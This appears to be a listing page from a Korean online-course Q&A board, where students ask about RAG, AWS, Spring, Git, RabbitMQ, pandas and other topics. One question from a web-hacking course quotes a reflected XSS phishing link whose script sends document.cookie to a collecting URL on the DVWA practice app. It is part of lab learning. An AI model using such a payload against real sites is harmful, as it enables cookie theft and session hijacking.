묻고 답해요
158만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
해결됨AI 에이전트로 구현하는 RAG 시스템(w. LangGraph)
최근 안내해주신 수강생 이벤트 관련 문의입니다.
최근 안내해주신 수강생 이벤트 관련 문의입니다.안녕하세요, 강사님.📌 AI에이전트 강의 수강생 특별 혜택이미 AI에이전트 강의를 수강 중이신가요? GraphRAG 강의 구매 시 <RAG 입문> 70% 할인쿠폰을 드립니다!이라고 이벤트 안내 주셨는데요.1. 여기서 언급하신 GraphRAG 강의는 "graphRAG - Neo4J로 구현하는 지식 그래프 기반 RAG 시스템 (feat. LangChain)"(정가 143,000원) 이 맞나요?2. 또한 여기서 언급하신 <RAG 입문> 70% 할인쿠폰은 RAG 마스터: 기초부터 고급기법까지 (feat. LangChain)(정가 121,000원) 이 맞나요?확인 후 추가로 수강신청 하려고 합니다. 답변 부탁드립니다. 감사합니다.
-
해결됨[퇴근후딴짓] 빅데이터 분석기사 실기 (작업형1,2,3)
32. 캐글(kaggle) 필사 전략 수업 노트
32. 캐글(kaggle) 필사 전략 강의에서 노션 정리하신 것을 수업 노트에 올려 주신다고 하셨는데, 확인이 안되어 문의드립니다! (18:10)
-
해결됨비전공자도 이해할 수 있는 AWS 중급/실전 (보안, 가용성편)
로드밸런서의 DNS로 들어가면 통신이 되는데 ip를 검색하면 안되는 경우는 어떤경우가 있을까요?
완강했습니다!! 처음 올린 질문이 해결이 되어서 질문을 수정했습니다!위 사진은 제가 만드려고 하는 아키텍쳐입니다사진에는 빠졌지만 alb도 있고 프론트서버에 연결되어있습니다현재까지는 프론트서버만 만든상태입니다.퍼블릭 서브넷에서 인터넷 게이트웨이 설치하고 접속이 되는건 확인했습니다.alb는 80,443 허용하였고 프론트는 22,80,443,3000허용하였습니다. (22는 나중에 배스천호스트로 옮길 생각입니다)대상그룹은 프론트 ec2로 설정하였고 http 3000으로 설정해서 healty 연결된걸 확인하였습니다.1. 로드밸런서의 dns로 들어가면 접속이 됩니다2. ec2내에서 로컬호스트로 들어가면 접속이 됩니다3. 도메인이나 ip를 검색하면 접속이 안됩니다4. 로컬에서 nslookup하면 제 서버 ip를 찾지 못합니다.어떤부분에서 빠뜨린게 있을까요? 이것저것 찾아보고 고민해도 해결이안되어서 4시간동안 찾다가 질문 드려봅니다 ㅠㅠ조금 걸리는 점은 제가 도메인사고 인증서받고나서 모든 ec2와 보안그룹들을 다 지워서 비용이 안 나가게한 적이 있습니다. 그 이후에 다시 vpc, ec2 등등 만들고 기존 도메인과 인증서를 연결했는데 인증서를 새로 발급받지 않고 기존 것을 쓴 것이 혹시 문제되지 않았을까? 라는 것이 약간 걸립니다그런데 도메인뿐만아니라 ec2의 ip로도 접근이 안되기 때문에 관련이 없다고 생각하여 그 부분은 건들지는 않았습니다 ㅠ
-
해결됨이해하면 인생이 바뀌는 Windows API hook
8강과 9강에서 jmp해야하는 main의 상대 주소가 달라요.
안녕하세요 강사님.8강과 9강에서는 testFunc을 targetFunc의 도입부에 넣어 실행을 시키고main으로 다시 돌아오도록 코드가 되어있는데요main의 시작점과 리턴을 희망하는 위치를 계산해보면 강의 자료보다 큰 값이 나옵니다.질문1. x86으로 최적화를 하지 않고 똑같이 실행을 했는데 왜 다른지 궁금합니다.제 코드를 디스어셈블리에서 보면 강의에서 보이는것보다 많은 기계어들이 보입니다. 질문2. "jmp main + 86h" 에서 86대신 D0 이런식으로 계산 결과가 나왔을 때 빌드 에러가 발생하고 있습니다. 0xD0 이런식으로 넣으면 빌드 에러는 나지 않지만 다른곳으로 점프를 하는것 같고요. 어떻게 해결을 해야할까요?
-
해결됨Git & GitHub, 원리부터 차근차근 - 근본깃 [완성편]
.gitignore
rectangle 파일을 버전 관리에서 제외하려고 했지만 버전 관리에서 제외되지 않습니다..gitignorerectangle이 문제는 어떻게 해결할 수 있나요?
-
미해결React 완벽 마스터: 기초 개념부터 린캔버스 프로젝트까지
데이터 캐싱 부분에 대해 질문있습니다.
안녕하세요 현재 고급- 데이터캐싱 부분의 강의를 보고 있는데 Fresh 상태에서는 데이터를 가져온 후 저장되어 있어 이 저장된 데이터를 사용하다 Stale상태가 되면 자동으로 다시 데이터가 요청되어 가져온다 라고 이해하고 있는데 맞는걸까요?
-
해결됨스프링 DB 2편 - 데이터 접근 활용 기술
localhost:8080 연결이 안됨
[질문 내용]갑자기 localhost:8080 연결이 안됩니다. 강의 소스 그대로 다운받아서 열었는데요 ㅜ 에러들 좀 봐주십쇼
-
미해결토비의 스프링 6 - 이해와 원리
안녕하세요.
아래 코드에서 계속해서 테스트 오류가 뜹니다..이유가 무엇일까요?오히려 isequalto 를 사용했을때 테스트가 성공해버려요 @Test void Clock() { Clock clock = Clock.systemDefaultZone(); LocalDateTime dt1 = LocalDateTime.now(clock); LocalDateTime dt2 = LocalDateTime.now(clock); Assertions.assertThat(dt2).isAfter(dt1); } // 오류 메세지 java.lang.AssertionError: Expecting actual: 2025-05-09T16:54:49.066025800 (java.time.LocalDateTime) to be strictly after: 2025-05-09T16:54:49.066025800 (java.time.LocalDateTime) when comparing values using 'ChronoLocalDateTime.timeLineOrder()'
-
미해결Airflow 마스터 클래스
신규 버전 강의 업데이트 예정일
안녕하세요, 최근에 airflow를 공부해보려고 해당 인강을 구매했는데,airflow3버전 인강 업데이트 예정이라는 공지를 보고, 대기 중에 있습니다.혹시 언제쯤 업데이트 될 예정인지 알 수 있을까요?아니면 우선 airflow2 버전으로라도 보는게 나을까요?
-
미해결화이트해커가 되기 위한 8가지 웹 해킹 기술
이메일 피싱
안녕하세요. Reflected XSS 이메일 피싱 관련해서 실습 중입니다. 스크립트를 입력폼에 직접 넣어서 실행했을 때에는 access_log에 쿠키값이 잘 떴는데, 이메일로 하려니까 아래 사진처럼 됩니다. 이메일에서 입력한 링크는document.location%3d">http://localhost/dvwa/vulnerabilities/xss_r/?name=<script>document.location%3d'http://localhost/cookie%3f'%2bdocument.cookie</script> 입니다.
-
미해결비전공자도 이해할 수 있는 CI/CD 입문·실전
Error: Process completed with exit code 126.
Run ./gradlew clean build2./gradlew clean build3 shell: /usr/bin/bash -e {0}4 env:5 JAVA_HOME: /opt/hostedtoolcache/Java_Temurin-Hotspot_jdk/21.0.7-6/x646 JAVA_HOME_21_X64: /opt/hostedtoolcache/Java_Temurin-Hotspot_jdk/21.0.7-6/x647/home/runner/work/_temp/24e2a6f8-136d-471b-b2ea-6203042af791.sh: line 1: ./gradlew: Permission deniedError: Process completed with exit code 126.찾아보니깐 실행 권한이 없어서 ./gradlew 스크립트를 실행하지 못했다는 뜻이라고 하는데즉, Gradle Wrapper 파일에 실행 권한이 없어서 생긴 문제가 맞을까요? - name: gradlew 실행 권한 부여 run: chmod +x ./gradlew이렇게 붙여줬더니 되긴 하더라고요. 맞는 방법이 몰라서 여쭤봅니다.
-
해결됨RabbitMQ를 이용한 비동기 아키텍처 한방에 해결하기
DLQ 관련 질문
위와 같이 로그가 찍혔으면,DLQ에서 ack 상태가 되어야하는것 아닐까요?@RabbitListener(queues = RabbitMQConfig.DLQ) public void process(String message) { System.out.println("DLQ Message Received: " + message); try { String fixMessage = "success"; rabbitTemplate.convertAndSend( RabbitMQConfig.ORDER_EXCHANGE, "order.completed.shipping", fixMessage ); System.out.println("DLQ Message Sent: " + fixMessage); } catch (Exception e) { System.err.println("### [DLQ Consumer Error] " + e.getMessage()); } }위의 코드인 경우 AUTO 모드로 동작해서 자동으로 DLQ에서 처리가 되면 ACK 을 받을 것이라 생각했는데, DLQ에서 unack 상태로 남아있어서 여쭤봅니다!이후에 애플리케이션을 종료하면 DLQ에서는 다시 ready 상태가 되고, 애플리케이션을 실행하면 이를 실행하고 와 같이 로그가 찍힌 다음에 다시 unack 상태가 됩니다. 좋은 강의 감사드립니다 :)
-
해결됨[UI3 업데이트] 피그마 배리어블을 활용한 디자인 시스템 구축하기
변경 기능 관련 강의 업데이트
안녕하세요 선생님! 강의 잘 듣고 있습니다. 혹시 피그마 자체 기능으로 변경된 강의는 언제 업데이트가 될까요?
-
해결됨초보자를 위한 BigQuery(SQL) 입문
battle 스키마 조건 복사붙여넣기용 자료
battle 스키마 조건 복사붙여넣기용 자료 어디서 찾아요?
-
해결됨설계독학맛비's 실전 FPGA를 이용한 HW 가속기 설계 (LED 제어부터 Fully Connected Layer 가속기 설계까지)
Mul core 모듈대신 CRC Encoding
안녕하세요 맛비님! AXI4-lite 를 사용해서 Zynq 의 cpu로 BRAM 에 data를 write 하고 해당 data를 crc encoding 하여 다른 BRAM으로 결과를 저장하는 실습을 진행하려고 합니다. 해당 강의 내용을 활용해서 진행할 생각인데, Mul_Core 부분을 CRC_encoding 내용으로 바꿔서 진행하면 문제없이 목표 달성 가능할지 궁금해서 질문드립니다 ㅎ
-
미해결[퇴근후딴짓] 빅데이터 분석기사 실기 (작업형1,2,3)
groupby()안 괄호 관련
첫 번째, 두 번째 둘 다 groupby(컬럼명)했는데 왜 첫번째는 에러가 나고 두번째는 정사적으로 작동하나요??
-
해결됨[퇴근후딴짓] 빅데이터 분석기사 실기 (작업형1,2,3)
작업형1 모의문제 3 문제7번
인덱스 값이 2001인 데이터(행)을 선택할 때df.loc[2001]df.loc[2001].mean()loc 대신 df.iloc[1,:].mean()위처럼 iloc 함수를 사용해도 되나요?
-
해결됨[퇴근후딴짓] 빅데이터 분석기사 실기 (작업형1,2,3)
roc_auc 결과 값 문의
학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요!질문과 관련된 영상 위치를 알려주면 더 빠르게 답변할 수 있어요먼저 유사한 질문이 있었는지 검색해보세 위와 같이 실행했는데 baseline roc_auc가 높게 나옵니다 그리고 y_test 실행결과 label과 점수가 비슷합니다. 어떤 이유일때문일까요?
-
해결됨LangGraph를 활용한 AI Agent 개발 (feat. MCP)
병렬 처리 질문 있습니다.
graph_builder.add_edge('get_tax_base_equation', 'calculate_tax_base') graph_builder.add_edge('get_tax_deduction', 'calculate_tax_base') graph_builder.add_edge('get_market_ratio', 'calculate_tax_base')2.7 병렬 처리를 통한 효율 개선 (feat. 프롬프트 엔지니어링).ipynb 에서 질문 있습니다.3개가 병렬로 실행된다면 분명 먼저 끝나는 노드가 있을 거고 그러면 완료 노드 순서에 맞게 calculate_tax_base를 실행해야 하지만 결과를 보면 calculate_tax_base를 한번만 실행하더라고요. 그러면 어떠한 조작 없이도 ranggraph에서 add_edge를 사용한 노드라면 자동으로 병렬 처리 완료 상태를 보관하고 3개가 전부 종료 된 후 실행된다고 이해했는데 맞을 까요? 제가 이해한게 맞다면 add_edge를 사용하지 않은 노드(Comand 명령어 사용한 노드)들의 병렬 처리에서 스레드 동기화 처리가 자동으로 안되기 때문에 반드시 add_edge를 반드시 사용해야하나요?이런 질문을 드리는 이유는 Command를 병렬로 처리해보고 있는데 궁금증이 생겨서 그렇습니다.! messages = [ {"role": "system", "content": system_prompt}, ] + state["messages"] response = llm.with_structured_output(Routers).invoke(messages) datasources = [router['next'] for router in response['nexts']] print(datasources) # FINISH를 analyst_node로 변환 goto_nodes = [ "analyst_node" if ds == "FINISH" else ds for ds in datasources ] # 병렬 실행을 위해 전체 리스트 반환 return Command(goto=goto_nodes)
-
해결됨스프링부트로 직접 만들면서 배우는 대규모 시스템 설계 - 게시판
댓글 최대 2 depth - 목록 API 구현 조회 테스트 부분
아래코드 첨부 하였구요, readAllInfiniteScroll 부분 secondPage 출력 부분에 getParentCommentId 조건 체크 부분에 진입이 되서 그런지, 부모, 하위 댓글 위치가 다르게 출력 됩니다.강의자료에 있는걸로 이식 해봐도 동일한 증상 나옵니다. 출력 부분은 각 함수마다 하단에 기입 해놨습니다음 그니까, readAll() 부분은 부모, 자식 구분되서 잘나오는데 무한스크롤 부분에서는 기대값은 아래처럼 첫번째 첨부한 기대값과 같아야 하는데 실제 로직에서 출력되는 부분은 다르게 출력 되는거같습니다. 어떤 부분을 확인 해봐야 할가요?? firstPage comment.getCommentId() = 179060865682051072 comment.getCommentId() = 179060867179417600 comment.getCommentId() = 179060867334606848 comment.getCommentId() = 179061928581599232 comment.getCommentId() = 179061929433042944 comment.getCommentId() = 179061929709867008 secondPage comment.getCommentId() = 179065967874379776 comment.getCommentId() = 179065968025374733 comment.getCommentId() = 179065967874379777 comment.getCommentId() = 179065968008597505 @Test void readAll() { CommentPageResponse response = restClient.get() .uri("/v1/comments?articleId=1&page=1&pageSize=10") .retrieve() .body(CommentPageResponse.class); System.out.println("response.getCommentCount() = " + response.getCommentCount()); for (CommentResponse comment : response.getComments()) { if (!comment.getCommentId().equals(comment.getParentCommentId())) { System.out.print("\t"); } System.out.println("comment.getCommentId() = " + comment.getCommentId()); } /** * 1번 페이지 수행 결과 comment.getCommentId() = 179060865682051072 comment.getCommentId() = 179060867179417600 comment.getCommentId() = 179060867334606848 comment.getCommentId() = 179061928581599232 comment.getCommentId() = 179061929433042944 comment.getCommentId() = 179061929709867008 comment.getCommentId() = 179065967874379776 comment.getCommentId() = 179065968025374733 comment.getCommentId() = 179065967874379777 comment.getCommentId() = 179065968008597505 */ } @Test void readAllInfiniteScroll() { List<CommentResponse> responses1 = restClient.get() .uri("/v1/comments/infinite-scroll?articleId=1&pageSize=5") .retrieve() .body(new ParameterizedTypeReference<List<CommentResponse>>() { }); System.out.println("firstPage"); for (CommentResponse comment : responses1) { if (!comment.getCommentId().equals(comment.getParentCommentId())) { System.out.print("\t"); } System.out.println("comment.getCommentId() = " + comment.getCommentId()); } Long lastParentCommentId = responses1.getLast().getParentCommentId(); Long lastCommentId = responses1.getLast().getCommentId(); List<CommentResponse> responses2 = restClient.get() .uri("/v1/comments/infinite-scroll?articleId=1&pageSize=6&lastParentCommentId=%s&lastCommentId=%s" .formatted(lastParentCommentId, lastCommentId)) .retrieve() .body(new ParameterizedTypeReference<List<CommentResponse>>() { }); System.out.println("secondPage"); for (CommentResponse comment : responses2) { if (!comment.getCommentId().equals(comment.getParentCommentId())) { System.out.print("\t"); } System.out.println("comment.getCommentId() = " + comment.getCommentId()); } /** firstPage comment.getCommentId() = 179060865682051072 comment.getCommentId() = 179060867179417600 comment.getCommentId() = 179060867334606848 comment.getCommentId() = 179061928581599232 comment.getCommentId() = 179061929433042944 secondPage comment.getCommentId() = 179061929709867008 comment.getCommentId() = 179065967874379776 comment.getCommentId() = 179065968025374733 comment.getCommentId() = 179065967874379777 comment.getCommentId() = 179065968008597505 comment.getCommentId() = 179065967874379778 */ }